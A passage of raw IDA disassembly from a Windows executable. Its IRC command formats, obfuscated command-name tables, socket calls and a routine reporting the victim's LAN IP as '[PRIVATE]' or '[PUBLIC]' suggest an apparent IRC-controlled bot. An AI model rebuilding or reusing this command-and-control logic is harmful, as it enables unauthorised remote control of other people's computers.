		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
